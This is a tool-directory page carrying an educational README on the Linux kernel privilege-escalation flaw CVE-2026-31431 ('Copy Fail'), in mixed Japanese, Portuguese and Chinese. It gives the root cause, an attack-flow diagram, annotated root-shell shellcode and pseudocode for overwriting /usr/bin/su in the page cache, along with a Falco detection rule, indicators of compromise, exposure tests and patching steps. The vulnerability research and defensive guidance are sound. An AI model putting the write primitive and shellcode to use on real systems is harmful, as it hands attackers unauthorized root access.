Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-31431-copyfail — # CVE-2026-31431の教育的分析:AF_ALG AEADインプレース操作によるLinuxカーネルのローカル権限昇格 技術的な根本原因、検出方法、および緩和策を含む、AF_ALG AEADインプレース操作を介したLinuxカーネルのローカル権限昇格(CVE-2026-31431)に関する教育的分析。 | Kitploit
ツール/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイト論文と研究学習と教育厳選リソース
GitHubdarioomatos/cve-2026-31431-copyfail

cve-2026-31431-copyfail

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

# CVE-2026-31431の教育的分析:AF_ALG AEADインプレース操作によるLinuxカーネルのローカル権限昇格 技術的な根本原因、検出方法、および緩和策を含む、AF_ALG AEADインプレース操作を介したLinuxカーネルのローカル権限昇格(CVE-2026-31431)に関する教育的分析。

リポジトリを見る
13ヶ月前未レビュー

CVE-2026-31431 — 「Copy Fail」🔐

教育目的の技術分析 — LinuxカーネルにおいてDirty Pipe(2022年)以来最も重要な脆弱性の1つ。
このリポジトリは研究・学習・防御を目的としています。ここでは実用的なエクスプロイトは配布されません。


目次

  • それは何か?
  • 初心者向け:アナロジー
  • タイムライン
  • 技術的な仕組み
  • 分析されたシェルコード
  • 類似の脆弱性との比較
  • 影響を受けるシステム
  • Androidは影響を受けるか?
  • 検出
  • 緩和策とパッチ
  • 学習用実装
  • 参考文献

それは何か?

CVE-2026-31431は、Copy Failという別名で知られる、Linuxカーネルにおけるローカル権限昇格(LPE — Local Privilege Escalation)の脆弱性です。これにより、権限のないユーザーでも数秒でrootアクセスを取得できます。

属性値
CVECVE-2026-31431
CVSSスコア7.8 HIGH
タイプローカル権限昇格(LPE)
サブシステムcrypto/algif_aead.c — AF_ALG
導入されたバージョンKernel 4.14(コミット 72548b093ee3、2017年7月)
修正されたバージョン6.18.22 / 6.19.12 / 7.0(コミット a664bf3d603d)
発見者Taeyang Lee — Theori / Xint Code
公開日2026年4月29日
公開PoCあり — 約732バイトのPythonスクリプト

初心者向け:アナロジー

オペレーティングシステムには作業メモリ(page cacheと呼ばれる)があり、使用中のファイルのコピーを保持しています。プログラムを実行すると、システムはそのプログラムをこのメモリに読み込み、ディスクから直接ではなくメモリから実行します。

Copy Failにより、一般ユーザーが特別なプログラム(suコマンドなどのsetuidバイナリ)のメモリ内コピーを変更できるようになります。ディスク上の元のファイルには触れません。ディスク上のファイルは無傷のままですが、プログラムが実行されると、システムは破損したメモリバージョンを読み取ります。

これは、料理中のシェフの記憶にあるレシピをすり替えるようなものです — 元のレシピ本は変わらないのに、出来上がる料理はまったく別物になります。

結果: 破損したプログラムが、攻撃者のコードをroot権限で実行します。

これが特に危険な理由:

  • 競合状態のウィンドウがない — 決定的(deterministic)に動作する
  • ディスクに痕跡を残さない(ディスクフォレンジックでは検出されない)
  • 2017年以降のほぼすべてのLinuxディストリビューションで動作する
  • 元のエクスプロイトはわずか約700バイトのPython

タイムライン```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
---

## 技術的な仕組み

### フローの概要```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

根本原因:就地操作 + sg_chain()

该 bug 存在于 crypto/algif_aead.c 中。2017 年,AEAD 操作被转换为就地操作以提升性能:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
O algoritmo `authencesn` usa o buffer de destino como *scratch space* para reorganizar bytes do Extended Sequence Number (ESN) do IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

なぜ痕跡を残さないのか

書き込みは完全にVFSを迂回します。変更されたページはカーネルのwritebackメカニズムによってdirtyとマークされることは決してありません。ディスク上のファイルは無傷のままです。ハッシュベースの整合性ツール(aide、tripwire、inotifywait)は、ディスクを監視しておりpage cacheを監視していないため、何も検出しません。


解析されたシェルコード

このエクスプロイトは、zlibで圧縮された160バイトのミニELFを埋め込みます。解凍後、実行可能部分は次のようになります:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
**最小ELF構造(合計160バイト):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

類似する脆弱性との比較


影響を受けるシステム

カーネルバージョン:

  • 導入: Linux 4.14(2017年7月)
  • 修正: 6.18.22、6.19.12、7.0

機能するエクスプロイトが確認されているディストリビューション:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian、Fedora、Arch Linux、AlmaLinux、Rocky Linux

必要な条件: カーネルで CONFIG_CRYPTO_USER_API_AEAD=y または =m

システムが露出しているか確認する方法:```bash

Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

=y → built-in (mais difícil de desabilitar)

=m → módulo carregável (pode ser bloqueado via modprobe)

(ausente) → não afetado

Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
---

## Androidは影響を受けますか?

**短い回答:** 標準のAndroid(AOSP/GKI)は実際には**脆弱ではありません**が、非標準の設定のデバイスは確認する価値があります。

### 前提条件ごとの分析```
Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Androidが本質的に保護されている理由

1. GKIにCONFIG_CRYPTO_USER_API_AEADが存在しない Googleは標準のarm64 gki_defconfigにこのオプションを含めていません。Androidは暗号化にuserspaceのBoringSSLを使用しており、AF_ALGに依存していません。

2. SELinuxのenforcing AndroidのSELinuxのuntrusted_appドメインには、AF_ALGに対するcreate権限がありません。socket(AF_ALG, SOCK_SEQPACKET, 0)呼び出しは、暗号化サブシステムに到達する前にEACCESで拒否されます。

3. Seccomp-bpf Androidアプリは、domain=AF_ALGのsocket()をブロックするseccompフィルタで実行されます。これは、サードパーティ製アプリに許可されたsyscallのホワイトリストには含まれていません。

4. setuidバイナリの不在 Androidは従来のLinuxのsetuidモデルを使用していません。特権バイナリは特定のcapabilitiesを使用するか、専用のUIDを持つサービスとして実行されます。AOSPの本番ビルドには/usr/bin/suは存在しません。

Androidにおけるリスクシナリオ

Androidデバイスの確認方法```bash

Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

Verificar modo SELinux

adb shell getenforce

Enforcing = protegido / Permissive = risco potencial

Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
---

## 検出

### Falco(ランタイム検出)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

侵害指標(IoCs)```bash

Processo Python que abre AF_ALG seguido de execução de shell

strace de processo suspeito mostrando:

socket(AF_ALG=38, SOCK_SEQPACKET, 0)

bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

splice(...) ← arquivo → pipe → socket

recvmsg(...)

Seguido de:

setuid(0)

execve("/bin/sh", ...)

Red flags nos logs do sistema:

- Processo não-root com UID transitioning para 0

- python3 como parent de sh/bash

- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
### システムが侵害されたかどうかを確認する```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

緩和策とパッチ

オプション 1 — カーネルの更新(推奨)```bash

Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

Fedora

sudo dnf upgrade kernel sudo reboot

Arch Linux

sudo pacman -Syu linux sudo reboot

Verificar versão após reboot:

uname -r

Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
**シリーズ別の修正済みバージョン:**

| シリーズ | 修正済みバージョン |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x  | 6.1.170  |
| 6.6.x  | 6.6.137  |
| 6.12.x | 6.12.85  |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+   | **7.0** (修正を含む) |

### オプション 2 — algif_aead を無効化する (一時的な回避策)

**`CONFIG_CRYPTO_USER_API_AEAD=m` (ロード可能なモジュール) の場合:**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

CONFIG_CRYPTO_USER_API_AEAD=y(内置——RHEL/Rocky/CloudLinux 的情况):

⚠️ 当模块编译进内核时,上述命令不起作用。```bash

Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
**workaroundが機能していることを確認する:**```bash
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

workaroundの互換性: algif_aeadのブロックはdm-crypt/LUKS、kTLS、IPsec/XFRM、OpenSSL、GnuTLS、NSS、SSHには影響しません。影響を受けるのは、明示的にAF_ALGをAEADに使用するアプリケーションのみです(稀 — 例: afalgエンジンを使用するOpenSSL、ハードウェア暗号オフロード)。

オプション3 — コンテナ環境向けのSeccomp / LSM```yaml

Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
---

## 学習用実装

このリポジトリは、教育目的でエクスプロイトの仕組みを複数の言語で文書化したものです。焦点は、脆弱性が**どのように**機能するかを理解することであり、攻撃ツールを配布することではありません。

### 仕組みの構造(擬似コード)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

ドキュメント化された言語

copyfail_study.mdファイルには、完全でコメント付きの実装が含まれています。

ELFペイロードについて

(PoCのzlib解凍後に)取得されたシェルコードは、次のことを行います:```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
合計: 26バイトのコード + 8バイトの文字列 = 160バイトのELF内に34バイトのシェルコード。

---

## 参考資料

| リソース | リンク |
|---|---|
| オリジナルのWriteup(Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| CVE公式サイト | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| オリジナルのPoCリポジトリ | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| メインラインのパッチ | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Sysdig分析 + Falcoルール | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Microsoft Defender分析 | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| Tenable FAQ | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| CERT-EUアドバイザリ | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Bugcrowd分析 | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| OSS-Securityディスカッション | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinuxパッチ | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinuxパッチ + 回避策の分析 | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |

---

## 免責事項

このリポジトリは**教育目的および防御的セキュリティ研究のみを目的としています**。ここに含まれる内容は、以下の人々を対象としています:

- 攻撃的および防御的セキュリティの専門家
- 脆弱性研究者
- 情報セキュリティを学ぶ学生
- リスクを理解して緩和する必要があるシステム管理者

**所有者の明示的な許可なしに、この知識をシステムで使用しないでください。** コンピュータシステムへの不正アクセスは、ほぼすべての法域で犯罪です(ブラジルでは、法律12.737/2012 — レイ・カロリーナ・ディークマン法、法律14.155/2021)。

---

*最終更新日:2026年5月*  
*PRによる貢献を歓迎します — 教育的かつ防御的な焦点を維持してください。*
ツールをダウンロード
Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
タイプCoWにおける競合状態フラグなしのパイプバッファAEADにおけるロジックバグ
信頼性競合依存(約ms)決定的決定的
ディスク上の痕跡あり(ダーティページ)なしなし
移植性広範囲特定バージョン普遍的(2017–2026)
PoCのサイズC言語 約50行C言語 約40行Python 約10行
サブシステムmm/ (CoW)fs/ (pipe)crypto/ (AF_ALG)
発見方法手動手動AI支援
悪用の機会競合ウィンドウなしなし
シナリオリスク
Magisk/KernelSU + SELinux permissive搭載デバイス高 — すべての前提条件が揃う可能性がある
CONFIG_CRYPTO_USER_API_AEAD=yのOEMカーネル + engビルド中 — shellアクセスに依存する
非root化デバイス上の悪意のあるアプリなし — SELinux + seccompがブロックする
本番ビルドでのADBなし — adb rootは機能しない
言語説明
Python(難読化解除済み)元のPoCのクリーンでコメント付きのバージョン
NASM x86_64命令ごとに注釈が付けられたELFペイロード
Gosyscall.RawSyscall6を使用してSYS_SPLICEとSYS_SETSOCKOPTを直接呼び出す
Cstruct msghdr、CMSG_DATA、およびzlibランタイムを使用した実装